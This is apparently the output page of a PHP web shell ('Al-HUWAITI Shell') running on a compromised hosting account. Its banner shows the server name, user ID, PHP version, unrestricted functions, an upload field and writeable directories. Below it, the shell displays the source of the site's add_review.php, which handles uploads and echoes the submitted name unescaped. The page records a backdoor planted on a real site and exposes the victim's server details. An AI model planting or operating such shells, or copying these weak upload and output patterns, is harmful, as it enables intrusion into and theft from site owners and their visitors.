Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/adesmiley.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/adesmiley.com/public_html/add_review.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<title><?php echo $company_name; ?>, Add a Review</title>
<?php 
$msg='';$captcha_error=""; $errors=0;;
if (isset($_POST["send_message"])) {
	
include("captcha_start.php");
if($errors == 0){
	
	$name = mysqli_real_escape_string($con,$_POST['name']);
	$comment = mysqli_real_escape_string($con,$_POST['comment']);
    $status = "Pending";
    //$picture="";
    
	if( ($_FILES["fileField"]["type"]=="") == false ){
		$random_id = substr(md5(rand()), 0, 20);
		$extension = pathinfo($_FILES["fileField"]["name"], PATHINFO_EXTENSION);
        if($extension !== "jpg" AND $extension !== "jpeg" AND $extension !== "png"){
            $msg="Kindly upload a valid image.";
        }
        else{
		move_uploaded_file( $_FILES['fileField']['tmp_name'], "$admin_no/assets/img/testimonials/$random_id.$extension");
		$picture ="$random_id.$extension";
        }
    }
    else{$picture = "";}
    
    $db_id=0;
		$stmt = $con -> prepare('INSERT INTO testimonials VALUES (?,?,?,?)');
		$stmt -> bind_param('isss', $db_id,$name,$comment,$picture);
		$stmt -> execute();
        $msg = "<span style='color:steelblue;'>$name thanks for your review</span>";
        
    }
}
?>
    <!-- Page Header Start -->
    <div
      class="container-fluid header-bg py-5 mb-5 wow fadeIn"
      data-wow-delay="0.1s"
    >
      <div class="container py-5">
        <h1 class="display-4 text-white mb-3 animated slideInDown">
          Add a Review
        </h1>
        <nav aria-label="breadcrumb animated slideInDown">
          <ol class="breadcrumb mb-0">
            <li class="breadcrumb-item">
              <a class="text-white" href="#">Home</a>
            </li>
            <li class="breadcrumb-item">
              <a class="text-white" href="#">Pages</a>
            </li>
            <li class="breadcrumb-item text-primary active" aria-current="page">
              Add a Review
            </li>
          </ol>
        </nav>
      </div>
    </div>
    <!-- Page Header End -->

    <!-- Contact Start -->
    <div class="container-xxl py-5">
      <div class="container">
        
        <div class="row g-5">
          <div class="col-lg-8 wow fadeInUp" data-wow-delay="0.1s">
            
            
            <p class="mb-4"><?php echo $msg; ?></p>
            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" enctype='multipart/form-data'>
              <div class="row g-3">
                <div class="col-md-12">
                  <div class="form-floating">
                    <input
                      type="text"
                      class="form-control bg-light border-0"
                      id="name"
                      placeholder="Name"
                      name='name'
                      required
                    />
                    <label for="name">Name</label>
                  </div>
                </div>
                
                <div class="col-md-12">
                  <div class="form-floating">
                    <input
                      type="file"
                      accept="image/png, image/gif, image/jpeg"
                      class="form-control bg-light border-0"
                      id="picture"
                      name='fileField'
                      placeholder="Your Picture"
                    />
                    <label for="picture">Your Picture</label>
                  </div>
                </div>
                <div class="col-md-12">
                  <div class="form-floating">
                    <textarea
                      class="form-control bg-light border-0"
                      id="comment"
                      name="comment"
                      style='height:100px;'
                      required
                    ></textarea>
                    <label for="comment">Comment</label>
                  </div>
                </div>
                
                <div class="col-12">
                  <button class="btn btn-primary w-100 py-3" name='send_message' type="submit">
                   Add Review
                  </button>
                </div>
              </div>
            </form>
          </div>
          
        </div>
      </div>
    </div>
    <!-- Contact End -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell